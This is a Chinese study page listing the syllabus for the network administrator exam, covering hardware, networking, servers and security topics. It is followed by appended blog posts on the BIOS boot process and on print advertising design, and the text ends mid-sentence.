201*年11月軟考網(wǎng)絡(luò)管理員必須掌握的知識總結(jié)

學(xué)習(xí)內(nèi)容：

第一部分：計算機結(jié)構(gòu)及工作原理、各種零配件的性能參數(shù)及主流品牌、計算機硬件的組裝，CMOS設(shè)置，硬盤的分區(qū)，格式化、Windows98/201*/XP的安裝、硬件驅(qū)動程序和應(yīng)用程序的安裝、Windows注冊表的結(jié)構(gòu)，備份及應(yīng)用、Windows的內(nèi)核：CPU、內(nèi)存、硬盤等分配、軟硬件系統(tǒng)的優(yōu)化設(shè)置，整機性能評測、計算機病毒的原理及防治、常見軟硬件故障的原因，現(xiàn)象及

解決、正確分辨市場假貨、水貨，軟硬件產(chǎn)品的銷售技巧。

第二部分：網(wǎng)絡(luò)的基本構(gòu)成，發(fā)展和拓撲設(shè)計，10BASE-T局域網(wǎng)的構(gòu)建與實現(xiàn)，以及各種服務(wù)器的結(jié)構(gòu)與特征，以太網(wǎng)對等網(wǎng)等各種方式。TCP/IP的四層模型與OSI七層模型的異同，TCP/IP協(xié)議剖析，如何設(shè)置IP地址，子網(wǎng)掩碼，默認網(wǎng)關(guān)，區(qū)分子網(wǎng)和網(wǎng)段及集線器，交換機和路由器，RJ45網(wǎng)線制作和種網(wǎng)吧的組建及維護，NT、WIN201*server、Linux服務(wù)器的搭建，

98對等網(wǎng)的組建與調(diào)試和代理服務(wù)器的設(shè)置

第三部分：Win201*配置,用戶及權(quán)限、文件及文件夾的管理，新特性活動目錄的管理，組策略。網(wǎng)絡(luò)資源的監(jiān)控、系統(tǒng)環(huán)境的設(shè)置、磁盤系統(tǒng)的管理。Web、Ftp、DNS、DHCP、WINS等服務(wù)器的安裝配置及管理。利用Exchange郵件服務(wù)器軟件實現(xiàn)企業(yè)內(nèi)部個人郵件信箱服務(wù)器、公告欄服務(wù)器、網(wǎng)站收發(fā)電子郵件服務(wù)器、聊天服務(wù)器的建立和管理。SQLServer中數(shù)據(jù)庫的創(chuàng)建、表的創(chuàng)建及發(fā)布、數(shù)據(jù)庫的備份及恢復(fù)、表的導(dǎo)入及導(dǎo)出等一系列維護和管理方法。代理服

務(wù)器基本原理。利用MicrosoftProxy為例實現(xiàn)代理服務(wù)器的設(shè)置及管理。

第四部分：代理服務(wù)器基本原理。利用MicrosoftProxy為例實現(xiàn)代理服務(wù)器的設(shè)置及管理。流行網(wǎng)管軟件CiscoWork201*的配置、使用和管理技巧，在一臺監(jiān)控計算機上管理網(wǎng)絡(luò)中所有的路由器和交換機，實時監(jiān)控網(wǎng)絡(luò)流量，及時發(fā)現(xiàn)網(wǎng)絡(luò)問題。路由與交換技術(shù)：路由原理的講解，并通過對路由器配置實例的學(xué)習(xí)掌握Cisco路由器的常用配置命令及配置。交換原理的講解，通

過對交換機配置實例的學(xué)習(xí)掌握交換機的常用配置命令及配置。

第五部分：系統(tǒng)進行手工定制、系統(tǒng)性能檢測管理、內(nèi)核設(shè)置與編譯。ftp服務(wù)與Samba服務(wù)，其它服務(wù)，如，DHCP、NFS等。Web網(wǎng)絡(luò)服務(wù)。包括：Apache服務(wù)的配置使用及安全設(shè)置。其它web服務(wù)軟件的介紹。DNS技術(shù)及應(yīng)用。一些簡單的路由技術(shù)一些簡單的負載均衡技術(shù)。Mail網(wǎng)絡(luò)服務(wù)。包括：sendmail的配置與使用，Qmail的配置與使用。一些mail客戶端程

序的使用

第六部分：網(wǎng)絡(luò)安全的基本概述，網(wǎng)絡(luò)協(xié)議的介紹，常規(guī)加密的基本知識，公鑰密鑰加密的基本知識及數(shù)字簽名，身份難驗證，用PGP及數(shù)字證書進行郵件加密實驗，全面講述在環(huán)境下實施網(wǎng)絡(luò)安全對策,Windows98下各種漏洞、攻擊類型和防御方法及安全配置方案(系統(tǒng)安全、IE安全、Outlook的安全等)。結(jié)合黑客攻擊過程全面講述在WindowsNT環(huán)境下實施網(wǎng)絡(luò)安全對策。WindowsNT下各種漏洞、攻擊類型和防御方法及安全配置方案，全面講述在Windows201*環(huán)境下實施網(wǎng)絡(luò)安全對策，Windows系統(tǒng)的日志安全、WEB安全，軟件防火墻的實施。Windows201*

下各種漏洞、攻擊類型和防御方法及安全配置方案。

第七部分：Linux管理員部分

一、基本應(yīng)用1、GNU/linux介紹、RedhatLinux的安裝。

2、系統(tǒng)知識(shell、文件系統(tǒng)、管道與重定向、進程概念)、常用系統(tǒng)命令介紹(ls、cp、mkdir、

rm、vi、man、chmod等)

3、基本系統(tǒng)管理(包括：系統(tǒng)啟動過程介紹、磁盤管理、用戶管理、日志查看、tar/gz包的

使用、rpm軟件包管理等。

二、基本系統(tǒng)服務(wù)(包括：圖形終端、基本網(wǎng)絡(luò)服務(wù))(9個課時)

1、圖形終端(即，x-window)的配置與使用。圍繞KDE和(或)GNOME，展示UNIX系統(tǒng)的

友好界面。

2、簡單的shell教本編寫方法，環(huán)境變量3、Linux下IP網(wǎng)絡(luò)的基本配置(IP地址、網(wǎng)關(guān)、名字)

4、Linux下的網(wǎng)絡(luò)服務(wù)的配置與使用(包括ftp、DNS、Apache、Sendmail、samba的基本配

置)�；�于RedHat的setup和linuxconf進行介紹。Webmin管理工具的介紹。

三、Prerequisite(背景課程)

1、前言

2、高級系統(tǒng)管理。包括：系統(tǒng)進行手工定制(inetd，service，ntsysv)、系統(tǒng)性能檢測管理(ps，

top，tail，dmesg，/proc)。3、內(nèi)核設(shè)置與編譯。四、高級網(wǎng)絡(luò)應(yīng)用

1、ftp服務(wù)與Samba服務(wù)，其它服務(wù)，如，DHCP、NFS等。

2、Web網(wǎng)絡(luò)服務(wù)。包括：Apache服務(wù)的配置使用及安全設(shè)置。其它web服務(wù)軟件的介紹。

DNS技術(shù)及應(yīng)用。3、一些簡單的路由技術(shù)4、一些簡單的負載均衡技術(shù)。

5、Mail網(wǎng)絡(luò)服務(wù)。包括：sendmail的配置與使用，Qmail的配置與使用。一些mail客戶端

程序的使用。五、系統(tǒng)網(wǎng)絡(luò)安全1、包過濾防火墻的理論與應(yīng)用(NAT技術(shù)、內(nèi)核構(gòu)架、Ipchains/Iptable的使用)，其它非核

心態(tài)防火墻的介紹。

2、系統(tǒng)安全。SSH的配置與使用。入侵檢測系統(tǒng)及Checkpoint技術(shù)與應(yīng)用3、VPN(虛擬網(wǎng)關(guān))的理論與應(yīng)用。包括：Ipsec、PPTP、認證、密鑰交換協(xié)議等技術(shù)。

六、總結(jié)

混合構(gòu)建一個安全的網(wǎng)絡(luò)服務(wù)系統(tǒng)。

擴展閱讀：網(wǎng)絡(luò)管理員必須掌握的知識

網(wǎng)絡(luò)管理員必須掌握的知識分類:網(wǎng)絡(luò)管理員必須掌握的知第一部分：計算機結(jié)構(gòu)及工作原理、各種零配件的性能參數(shù)及主流品牌、計算機硬件的組裝，CMOS設(shè)置，硬盤的分區(qū)，格式化、Windows98/201*/XP的安裝、硬件驅(qū)動程序和應(yīng)用程序的安裝、Windows注冊表的結(jié)構(gòu)，備份及應(yīng)用、Windows的內(nèi)核：CPU、內(nèi)存、硬盤等分配、軟硬件系統(tǒng)的優(yōu)化設(shè)置，整機性能評測、計算機病毒的原理及防治、常見軟硬件故障的原因，現(xiàn)象及解決、正確分辨市場假貨、水貨，軟硬件產(chǎn)品的銷售技巧。第二部分：網(wǎng)絡(luò)的基本構(gòu)成，發(fā)展和拓撲設(shè)計，10BASE-T局域網(wǎng)的構(gòu)建與實現(xiàn)，以及各種服務(wù)器的結(jié)構(gòu)與特征，以太網(wǎng)對等網(wǎng)等各種方式。TCP/IP的四層模型與OSI七層模型的異同，TCP/IP協(xié)議剖析，如何設(shè)置IP地址，子網(wǎng)掩碼，默認網(wǎng)關(guān)，區(qū)分子網(wǎng)和網(wǎng)段及集線器，交換機和路由器，RJ45網(wǎng)線制作和種網(wǎng)吧的組建及維護，NT、WIN201*server、Linux服務(wù)器的搭建，98對等網(wǎng)的組建與調(diào)試和代理服務(wù)器的設(shè)置第三部分：Win201*配置,用戶及權(quán)限、文件及文件夾的管理，新特性活動目錄的管理，組策略。網(wǎng)絡(luò)資源的監(jiān)控、系統(tǒng)環(huán)境的設(shè)置、磁盤系統(tǒng)的管理。Web、Ftp、DNS、DHCP、WINS等服務(wù)器的安裝配置及管理。利用Exchange郵件服務(wù)器軟件實現(xiàn)企業(yè)內(nèi)部個人郵件信箱服務(wù)器、公告欄服務(wù)器、網(wǎng)站收發(fā)電子郵件服務(wù)器、聊天服務(wù)器的建立和管理。SQLServer中數(shù)據(jù)庫的創(chuàng)建、表的創(chuàng)建及發(fā)布、數(shù)據(jù)庫的備份及恢復(fù)、表的導(dǎo)入及導(dǎo)出等一系列維護和管理方法。代理服務(wù)器基本原理。利用MicrosoftProxy為例實現(xiàn)代理服務(wù)器的設(shè)置及管理。第四部分：代理服務(wù)器基本原理。利用MicrosoftProxy為例實現(xiàn)代理服務(wù)器的設(shè)置及管理。流行網(wǎng)管軟件CiscoWork201*的配置、使用和管理技巧，在一臺監(jiān)控計算機上管理網(wǎng)絡(luò)中所有的路由器和交換機，實時監(jiān)控網(wǎng)絡(luò)流量，及時發(fā)現(xiàn)網(wǎng)絡(luò)問題。路由與交換技術(shù)：路由原理的講解，并通過對路由器配置實例的學(xué)習(xí)掌握Cisco路由器的常用配置命令及配置。交換原理的講解，通過對交換機配置實例的學(xué)習(xí)掌握交換機的常用配置命令及配置。第五部分：系統(tǒng)進行手工定制、系統(tǒng)性能檢測管理、內(nèi)核設(shè)置與編譯。ftp服務(wù)與Samba服務(wù)，其它服務(wù)，如，DHCP、NFS等。Web網(wǎng)絡(luò)服務(wù)。包括：Apache服務(wù)的配置使用及安全設(shè)置。其它web服務(wù)軟件的介紹。DNS技術(shù)及應(yīng)用。一些簡單的路由技術(shù)一些簡單的負載均衡技術(shù)。Mail網(wǎng)絡(luò)服務(wù)。包括：sendmail的配置與使用，Qmail的配置與使用。一些mail客戶端程序的使用第六部分：網(wǎng)絡(luò)安全的基本概述，網(wǎng)絡(luò)協(xié)議的介紹，常規(guī)加密的基本知識，公鑰密鑰加密的基本知識及數(shù)字簽名，身份難驗證，用PGP及數(shù)字證書進行郵件加密實驗，全面講述在環(huán)境下實施網(wǎng)絡(luò)安全對策,Windows98下各種漏洞、攻擊類型和防御方法及安全配置方案（系統(tǒng)安全、IE安全、Outlook的安全等）。結(jié)合黑客攻擊過程全面講述在WindowsNT環(huán)境下實施網(wǎng)絡(luò)安全對策。WindowsNT下各種漏洞、攻擊類型和防御方法及安全配置方案，全面講述在Windows201*環(huán)境下實施網(wǎng)絡(luò)安全對策，Windows系統(tǒng)的日志安全、WEB安全，軟件防火墻的實施。Windows201*下各種漏洞、攻擊類型和防御方法及安全配置方案。第七部分：Linux管理員部分一、基本應(yīng)用1、GNU/linux介紹、RedhatLinux的安裝。2、系統(tǒng)知識（shell、文件系統(tǒng)、管道與重定向、進程概念）、常用系統(tǒng)命令介紹（ls、cp、mkdir、rm、vi、man、chmod等）3、基本系統(tǒng)管理（包括：系統(tǒng)啟動過程介紹、磁盤管理、用戶管理、日志查看、tar/gz包的使用、rpm軟件包管理等。二、基本系統(tǒng)服務(wù)（包括：圖形終端、基本網(wǎng)絡(luò)服務(wù)）（9個課時）1、圖形終端（即，x-window）的配置與使用。圍繞KDE和（或）GNOME，展示UNIX系統(tǒng)的友好界面。2、簡單的shell教本編寫方法，環(huán)境變量3、Linux下IP網(wǎng)絡(luò)的基本配置（IP地址、網(wǎng)關(guān)、名字）4、Linux下的網(wǎng)絡(luò)服務(wù)的配置與使用（包括ftp、DNS、Apache、Sendmail、samba的基本配置）�；�于RedHat的setup和linuxconf進行介紹。Webmin管理工具的介紹。三、Prerequisite(背景課程)1、前言2、高級系統(tǒng)管理。包括：系統(tǒng)進行手工定制（inetd，service，ntsysv）、系統(tǒng)性能檢測管理（ps，top，tail，dmesg，/proc）。3、內(nèi)核設(shè)置與編譯。四、高級網(wǎng)絡(luò)應(yīng)用1、ftp服務(wù)與Samba服務(wù)，其它服務(wù)，如，DHCP、NFS等。2、Web網(wǎng)絡(luò)服務(wù)。包括：Apache服務(wù)的配置使用及安全設(shè)置。其它web服務(wù)軟件的介紹。DNS技術(shù)及應(yīng)用。3、一些簡單的路由技術(shù)4、一些簡單的負載均衡技術(shù)。5、Mail網(wǎng)絡(luò)服務(wù)。包括：sendmail的配置與使用，Qmail的配置與使用。一些mail客戶端程序的使用。五、系統(tǒng)網(wǎng)絡(luò)安全1、包過濾防火墻的理論與應(yīng)用（NAT技術(shù)、內(nèi)核構(gòu)架、Ipchains/Iptable的使用），其它非核心態(tài)防火墻的介紹。2、系統(tǒng)安全。SSH的配置與使用。入侵檢測系統(tǒng)及Checkpoint技術(shù)與應(yīng)用3、VPN（虛擬網(wǎng)關(guān)）的理論與應(yīng)用。包括：Ipsec、PPTP、認證、密鑰交換協(xié)議等技術(shù)。六、總結(jié)混合構(gòu)建一個安全的網(wǎng)絡(luò)服務(wù)系統(tǒng)。201*.2.1022:22作者：chenjiamiao520收藏|評論：0全面認識計算機啟動過程分類:認識計算機啟動過程打開電源啟動機器幾乎是電腦愛好者每天必做的事情，面對屏幕上出現(xiàn)的一幅幅啟動畫面，我們一點兒也不會感到陌生，但是，計算機在顯示這些啟動畫面時都做了些什么工作呢？相信有的朋友還不是很清楚，本文就來介紹一下從打開電源到出現(xiàn)Windows的藍天白云時，計算機到底都干了些什么事情。首先讓我們來了解一些基本概念。第一個是大家非常熟悉的BIOS（基本輸入輸出系統(tǒng)），BIOS是直接與硬件打交道的底層代碼，它為操作系統(tǒng)提供了控制硬件設(shè)備的基本功能。BIOS包括有系統(tǒng)BIOS（即常說的主板BIOS）、顯卡BIOS和其它設(shè)備（例如IDE控制器、SCSI卡或網(wǎng)卡等）的BIOS，其中系統(tǒng)BIOS是本文要討論的主角，因為計算機的啟動過程正是在它的控制下進行的。BIOS一般被存放在ROM(只讀存儲芯片)之中，即使在關(guān)機或掉電以后，這些代碼也不會消失。第二個基本概念是內(nèi)存的地址，我們的機器中一般安裝有32MB、64MB或128MB內(nèi)存，這些內(nèi)存的每一個字節(jié)都被賦予了一個地址，以便CPU訪問內(nèi)存。32MB的地址范圍用十六進制數(shù)表示就是0～1FFFFFFH，其中0～FFFFFH的低端1MB內(nèi)存非常特殊，因為最初的8086處理器能夠訪問的內(nèi)存最大只有1MB，這1MB的低端640KB被稱為基本內(nèi)存，而A0000H～BFFFFH要保留給顯示卡的顯存使用，C0000H～FFFFFH則被保留給BIOS使用，其中系統(tǒng)BIOS一般占用了最后的64KB或更多一點的空間，顯卡BIOS一般在C0000H～C7FFFH處，IDE控制器的BIOS在C8000H～CBFFFH處。第一步：當(dāng)我們按下電源開關(guān)時，電源就開始向主板和其它設(shè)備供電，此時電壓還不太穩(wěn)定，主板上的控制芯片組會向CPU發(fā)出并保持一個RESET（重置）信號，讓CPU內(nèi)部自動恢復(fù)到初始狀態(tài)，但CPU在此刻不會馬上執(zhí)行指令。當(dāng)芯片組檢測到電源已經(jīng)開始穩(wěn)定供電了（當(dāng)然從不穩(wěn)定到穩(wěn)定的過程只是一瞬間的事情），它便撤去RESET信號（如果是手工按下計算機面板上的Reset按鈕來重啟機器，那么松開該按鈕時芯片組就會撤去RESET信號），CPU馬上就從地址FFFF0H處開始執(zhí)行指令，從前面的介紹可知，這個地址實際上在系統(tǒng)BIOS的地址范圍內(nèi)，無論是AwardBIOS還是AMIBIOS，放在這里的只是一條跳轉(zhuǎn)指令，跳到系統(tǒng)BIOS中真正的啟動代碼處。第二步：系統(tǒng)BIOS的啟動代碼首先要做的事情就是進行POST（Power－OnSelfTest，加電后自檢），POST的主要任務(wù)是檢測系統(tǒng)中一些關(guān)鍵設(shè)備是否存在和能否正常工作，例如內(nèi)存和顯卡等設(shè)備。由于POST是最早進行的檢測過程，此時顯卡還沒有初始化，如果系統(tǒng)BIOS在進行POST的過程中發(fā)現(xiàn)了一些致命錯誤，例如沒有找到內(nèi)存或者內(nèi)存有問題（此時只會檢查640K常規(guī)內(nèi)存），那么系統(tǒng)BIOS就會直接控制喇叭發(fā)聲來報告錯誤，聲音的長短和次數(shù)代表了錯誤的類型。在正常情況下，POST過程進行得非�？欤�我們幾乎無法感覺到它的存在，POST結(jié)束之后就會調(diào)用其它代碼來進行更完整的硬件檢測。第三步：接下來系統(tǒng)BIOS將查找顯卡的BIOS，前面說過，存放顯卡BIOS的ROM芯片的起始地址通常設(shè)在C0000H處，系統(tǒng)BIOS在這個地方找到顯卡BIOS之后就調(diào)用它的初始化代碼，由顯卡BIOS來初始化顯卡，此時多數(shù)顯卡都會在屏幕上顯示出一些初始化信息，介紹生產(chǎn)廠商、圖形芯片類型等內(nèi)容，不過這個畫面幾乎是一閃而過。系統(tǒng)BIOS接著會查找其它設(shè)備的BIOS程序，找到之后同樣要調(diào)用這些BIOS內(nèi)部的初始化代碼來初始化相關(guān)的設(shè)備。第四步：查找完所有其它設(shè)備的BIOS之后，系統(tǒng)BIOS將顯示出它自己的啟動畫面，其中包括有系統(tǒng)BIOS的類型、序列號和版本號等內(nèi)容。第五步：接著系統(tǒng)BIOS將檢測和顯示CPU的類型和工作頻率，然后開始測試所有的RAM，并同時在屏幕上顯示內(nèi)存測試的進度，我們可以在CMOS設(shè)置中自行決定使用簡單耗時少或者詳細耗時多的測試方式。第六步：內(nèi)存測試通過之后，系統(tǒng)BIOS將開始檢測系統(tǒng)中安裝的一些標(biāo)準(zhǔn)硬件設(shè)備，包括硬盤、CD－ROM、串口、并口、軟驅(qū)等設(shè)備，另外絕大多數(shù)較新版本的系統(tǒng)BIOS在這一過程中還要自動檢測和設(shè)置內(nèi)存的定時參數(shù)、硬盤參數(shù)和訪問模式等。第七步：標(biāo)準(zhǔn)設(shè)備檢測完畢后，系統(tǒng)BIOS內(nèi)部的支持即插即用的代碼將開始檢測和配置系統(tǒng)中安裝的即插即用設(shè)備，每找到一個設(shè)備之后，系統(tǒng)BIOS都會在屏幕上顯示出設(shè)備的名稱和型號等信息，同時為該設(shè)備分配中斷、DMA通道和I/O端口等資源。第八步：到這一步為止，所有硬件都已經(jīng)檢測配置完畢了，多數(shù)系統(tǒng)BIOS會重新清屏并在屏幕上方顯示出一個表格，其中概略地列出了系統(tǒng)中安裝的各種標(biāo)準(zhǔn)硬件設(shè)備，以及它們使用的資源和一些相關(guān)工作參數(shù)。第九步：接下來系統(tǒng)BIOS將更新ESCD（ExtendedSystemConfigurationData，擴展系統(tǒng)配置數(shù)據(jù)）。ESCD是系統(tǒng)BIOS用來與操作系統(tǒng)交換硬件配置信息的一種手段，這些數(shù)據(jù)被存放在CMOS（一小塊特殊的RAM，由主板上的電池來供電）之中。通常ESCD數(shù)據(jù)只在系統(tǒng)硬件配置發(fā)生改變后才會更新，所以不是每次啟動機器時我們都能夠看到“UpdateESCDSuccess”這樣的信息，不過，某些主板的系統(tǒng)BIOS在保存ESCD數(shù)據(jù)時使用了與Windows9x不相同的數(shù)據(jù)格式，于是Windows9x在它自己的啟動過程中會把ESCD數(shù)據(jù)修改成自己的格式，但在下一次啟動機器時，即使硬件配置沒有發(fā)生改變，系統(tǒng)BIOS也會把ESCD的數(shù)據(jù)格式改回來，如此循環(huán)，將會導(dǎo)致在每次啟動機器時，系統(tǒng)BIOS都要更新一遍ESCD，這就是為什么有些機器在每次啟動時都會顯示出相關(guān)信息的原因。第十步：ESCD更新完畢后，系統(tǒng)BIOS的啟動代碼將進行它的最后一項工作，即根據(jù)用戶指定的啟動順序從軟盤、硬盤或光驅(qū)啟動。以從C盤啟動為例，系統(tǒng)BIOS將讀取并執(zhí)行硬盤上的主引導(dǎo)記錄，主引導(dǎo)記錄接著從分區(qū)表中找到第一個活動分區(qū)，然后讀取并執(zhí)行這個活動分區(qū)的分區(qū)引導(dǎo)記錄，而分區(qū)引導(dǎo)記錄將負責(zé)讀取并執(zhí)行IO.SYS，這是DOS和Windows9x最基本的系統(tǒng)文件。Windows9x的IO.SYS首先要初始化一些重要的系統(tǒng)數(shù)據(jù)，然后就顯示出我們熟悉的藍天白云，在這幅畫面之下，Windows將繼續(xù)進行DOS部分和GUI（圖形用戶界面）部分的引導(dǎo)和初始化工作。如果系統(tǒng)之中安裝有引導(dǎo)多種操作系統(tǒng)的工具軟件，通常主引導(dǎo)記錄將被替換成該軟件的引導(dǎo)代碼，這些代碼將允許用戶選擇一種操作系統(tǒng)，然后讀取并執(zhí)行該操作系統(tǒng)的基本引導(dǎo)代碼（DOS和Windows的基本引導(dǎo)代碼就是分區(qū)引導(dǎo)記錄）。上面介紹的便是計算機在打開電源開關(guān)（或按Reset鍵）進行冷啟動時所要完成的各種初始化工作，如果我們在DOS下按Ctrl＋Alt＋Del組合鍵（或從Windows中選擇重新啟動計算機）來進行熱啟動，那么POST過程將被跳過去，直接從第三步開始，另外第五步的檢測CPU和內(nèi)存測試也不會再進行。我們可以看到，無論是冷啟動還是熱啟動，系統(tǒng)BIOS都一次又一次地重復(fù)進行著這些我們平時并不太注意的事情，然而正是這些單調(diào)的硬件檢測步驟為我們能夠正常使用電腦提供了基礎(chǔ).201*.2.1022:21作者：chenjiamiao520收藏|評論：0字體設(shè)計的基本知識分類:字體設(shè)計的基本知識文字，是人類思想感情交流的必然產(chǎn)物。隨著人類文明的進步，它由簡單而復(fù)雜，逐步形成了科學(xué)的完美而規(guī)范化的程式。它既具有人類思想感情的抽象意義與韻調(diào)和音響節(jié)律，又具有結(jié)構(gòu)完整，章法規(guī)范，而又變化無窮的鮮明形象。尤其是象形文字，更是抽象與具象的緊密結(jié)合，其文字的本身，也可說是一種完整的美術(shù)設(shè)計。今天，人類社會已進入工商業(yè)突飛猛進的時代，產(chǎn)品的競爭，生活的美化，已與人類的日常生活息息相關(guān)。作為傳導(dǎo)思想感情的媒體一文字的美化，隨著人類文明的進步而躍居為人們研究的重要課題。字形要正確不同漢字或拉丁字母的構(gòu)成，筆劃都是法定的，只要有一點半劃不符，就成別字，輕則字義不同，重則不成其字，無人認得，這就完全失去了文字本身的作用。因此字形要做到確切無誤，既不能任意增加筆劃，也不能任意減少或改變。風(fēng)格要統(tǒng)一不管拉丁字母或漢字，字體筆劃都必須統(tǒng)一。如寫漢字，不宜三筆隸體，二筆仿宋，寫拉丁字母也不宜播楷、小楷、花楷雜組一字，印刷體與手寫體也不能在一字中混合運用。字體表情要適應(yīng)文字內(nèi)容的精神每一種字體，都有它自身的表情。如黑體有醒目嚴(yán)肅的感覺，老宋、楷書有端莊剛直的的表情；仿宋、行書有清秀自由的意趣；而篆書則有華貴古樸的風(fēng)貌又如拉丁字母的花楷頗相當(dāng)于漢字的左篆，具有華貴古樸之感；印刷體則相當(dāng)于老宋楷書，一具有端莊明確的感覺。手寫體則相當(dāng)于仿宋、行、草，有輕松活潑的體態(tài)。因此選擇某種字體為設(shè)計美術(shù)字之基調(diào)時，應(yīng)該按文字內(nèi)容的精神而定。這樣才能表里一致，發(fā)揮出文字感染力的最大功能。至于變化形式，可不拘一格，詣凡筆劃之長短、肥瘦、曲直，”作者均可自由規(guī)范，只要根據(jù)文字固有結(jié)構(gòu)變化就行，甚至還可進一步按透視法、立體投影、空心變化等受法，加強其裝飾意義，使之美化。201*.2.1022:10作者：chenjiamiao520收藏|評論：0平面設(shè)計的傳達要素--圖形傳達分類:平面設(shè)計的傳達要素--圖廣告?zhèn)鞑タ煞忠曈X、聽覺、視聽覺三種類型，平面廣告屬視覺類廣告，公眾70%的信息是從視覺獲得的。其中印刷類有：報紙廣告、雜志廣告、招貼海報、商品樣本、掛歷廣告、郵寄廣告、包裝紙等形式。非印刷類有：路牌、民墻、車身、燈箱廣告形式。這些以平面形態(tài)出現(xiàn)的視覺類廣告，均屬于平面廣告范疇。圖形、文案、色彩是構(gòu)成平面廣告的三大要素。這些要素在廣告中擔(dān)當(dāng)著不同的使命。圖形要素有插畫、注冊商標(biāo)、畫面輪廓線元素，文案要素有標(biāo)題、廣字語、正文、附文元素，色彩要素有色相、明度、純度諸元素。圖象傳達圖形是平面廣告主要的構(gòu)成要素，它能夠形象地表現(xiàn)廣告主題和廣告創(chuàng)意。插畫可以是黑白畫、噴繪插畫、繪畫插畫、攝影作品等，表現(xiàn)形式有寫實、象征、漫畫、卡通、裝飾、構(gòu)成等手法。插畫是用視覺藝術(shù)語言來傳播信息，它具有形象化、具體化、直接化的特性，是一種世界性的語言，人人都可以看明白。插畫的設(shè)計是在整體廣告策略的指導(dǎo)下進行，表現(xiàn)的內(nèi)容要緊緊圍繞廣告主題，突出商品信息的個性，設(shè)計創(chuàng)作新穎的、有訴求力的圖形語言�！捌妗�、“異”、“怪”的圖形并非是設(shè)計師追求的目標(biāo)，通俗易懂、簡潔明快的圖形語言，才是達到強烈視覺沖擊力的必要條件，以便于公眾對廣告主題的認識、理解與記憶。商標(biāo)是平面廣告的眼睛，構(gòu)成版面的重要元素，它是塑造商品、企業(yè)形象最有效的、最可靠的象征，是公眾借以識別商品的符號，也是商品質(zhì)量、企業(yè)信譽的保證。它具有指導(dǎo)公眾購買、開拓市場、鞏固市場的作用。單純、簡潔有個性特征的商標(biāo)造型，視覺效果強烈，能在瞬間給公眾留下深刻的印象。輪廓線是指在平面廣告版面邊緣線框，它的作用是使廣告版面有一個單獨的空間，以控制公眾的視野范圍，借用輪廓線來誘導(dǎo)公眾的視線移至廣告主題，同時避免其它信息的視覺干擾。輪廓線的應(yīng)用，能增加廣告版面的美感，系列廣告采用同一的“個性化”輪廓線，可以加強廣告版面的重復(fù)印象。輪廓線可用直線、曲線、斜線、圖案邊飾紋樣等形式。輪廓線的選擇要根據(jù)整體廣告策略來確定使用形式，不要搞得太奇特，喧賓奪主將會影響廣告版面中的圖形與文案。201*.2.1022:09作者：chenjiamiao520收藏|評論：平面設(shè)計的傳達要素--文案傳達分類:平面設(shè)計的傳達要素--文文案傳達文字是平面廣告不可缺少的構(gòu)成要素，配合圖形要素來實現(xiàn)廣告主題的創(chuàng)意，具有引起注意、傳播信息、說服對象的作用。標(biāo)題是文案中的關(guān)鍵元素，即為廣告的題目，有引人注目、引起興趣、誘讀正文的作用。標(biāo)題在版面編排時，根據(jù)廣告不同的主題，配合圖形造型的需要，選用不同的字體、字號，運用視覺藝術(shù)語言，引導(dǎo)公眾的視線自覺地從標(biāo)題轉(zhuǎn)移到圖形、正文。標(biāo)題的視覺語言創(chuàng)作是廣告創(chuàng)意一方面，而標(biāo)題文案的創(chuàng)作是廣告創(chuàng)意的另一方面。它將影響到廣告主題是否引起公眾注意的關(guān)鍵。標(biāo)題文案分類有三種：①直接標(biāo)題：直截了當(dāng)，簡明確切，一看就明白廣告內(nèi)容；①間接標(biāo)題：不直接點明廣告主題，通過圖形或是使用充滿情趣、哲理性的詞句，誘導(dǎo)公眾閱讀正文Z③復(fù)合標(biāo)題：是直接與間接綜合使用，采用正副標(biāo)題的結(jié)合，既點明主題又充滿惰趣。標(biāo)題形式有①記事式，如實地將廣告正文的要點加以說明②新聞式，以發(fā)布新聞的形式向公眾提供信息，強調(diào)新聞特點；③疑問式，提出“為什么？”、“怎么辦？”之類問題，以引起消費者的思考與共鳴；④贊揚式，夸耀商品的長處，但不能失實；①比較式，新、老產(chǎn)品對比，以證明新產(chǎn)品的優(yōu)點之處；⑤懸念式，設(shè)有懸念，使人產(chǎn)生驚奇，引起公眾的注意；①引導(dǎo)式，誠懇地為消費者出點子，提建議，以得到消費者的信任；③承諾式，以坦誠的語言告訴公眾，該商品能給他們帶來什么好處；④重復(fù)式，重復(fù)的標(biāo)題可以刺激消費者的記憶，達到增強記憶的目的；①間接式，運用間接語言回避消費者的秘密與隱私；（11訴求式，用勸勉、希望、呼吁的口氣，催促人們采取行動，12）荒誕式，荒誕是不實在的，不合情理的，運用得當(dāng)，荒誕也會給人以真實可信的影響，一看就明白廣告內(nèi)容。正文即為廣告要傳播的商品說明文，它詳細地敘述商品內(nèi)容，有說明、解答、鼓動、號召的作用。正文內(nèi)容撰寫要采用平易的日常語言，簡單易懂，表達生動、貼切、形象、扣人心弦，使公眾感到平易近人，心悅誠服地信任商品，以達到傳播信息的目的。正文編排時集中為宜，它一般置于版面的下方，也可以置于左方或右方位置。廣告語，也稱標(biāo)語，它是在整體廣告策略中某個階段內(nèi)反復(fù)使用的，用以體現(xiàn)企業(yè)精神或宣傳商品特征，吸引公眾注意的專用宣傳語句，能給人留下深刻印象。廣告語的文字必須易讀好記，押韻順口，富于情感。編排時可放置版面的任何位置，但要位居廣告標(biāo)題之后，不能本末倒置。附文是指廣告主的公司名、地位、郵編、電話、電報、傳真號碼。方便公眾與廣告主取得聯(lián)系，購買商品。它一般置于版面的下方或次要的位置。201*.2.1022:08作者：chenjiamiao520收藏|評論：0平面設(shè)計的傳達要素--色彩傳達分類:平面設(shè)計的傳達要素--色色彩傳達色彩在廣告表現(xiàn)中具有迅速訴諸感覺的作用。它與公眾的生理和心理反應(yīng)密切相關(guān)，公眾對廣告的第一印象是通過色彩而得到的。艷麗、典雅、灰暗等色彩感覺，影響著公眾對廣告內(nèi)容的注意力。鮮艷、明快、和諧的色彩組合會對公眾產(chǎn)生較好吸引力，陳舊、破碎的用色會導(dǎo)致公眾產(chǎn)生“這是舊廣告”，而不會引起注意。因此，色彩在平面廣告上有著特殊的訴求力�，F(xiàn)代平面廣告設(shè)計，是由色彩、圖形、文案三大要素構(gòu)成，圖形和文案都不能離開色彩的表現(xiàn)，色彩傳達從某種意義來說是第一位的。色彩是由色相、明度、純度三個元素組成的。色相即為紅、黃、綠、藍、黑等不同的顏色。明度是指某一單色的明暗程度；純度即單色色相的鮮艷度、飽和度，也稱彩度。色彩在廣告中的運用，設(shè)計師要表現(xiàn)出廣告的主題和創(chuàng)意，充分展現(xiàn)色彩的魅力。首先必須認真分析研究色彩的各種因素，由于生活經(jīng)歷、年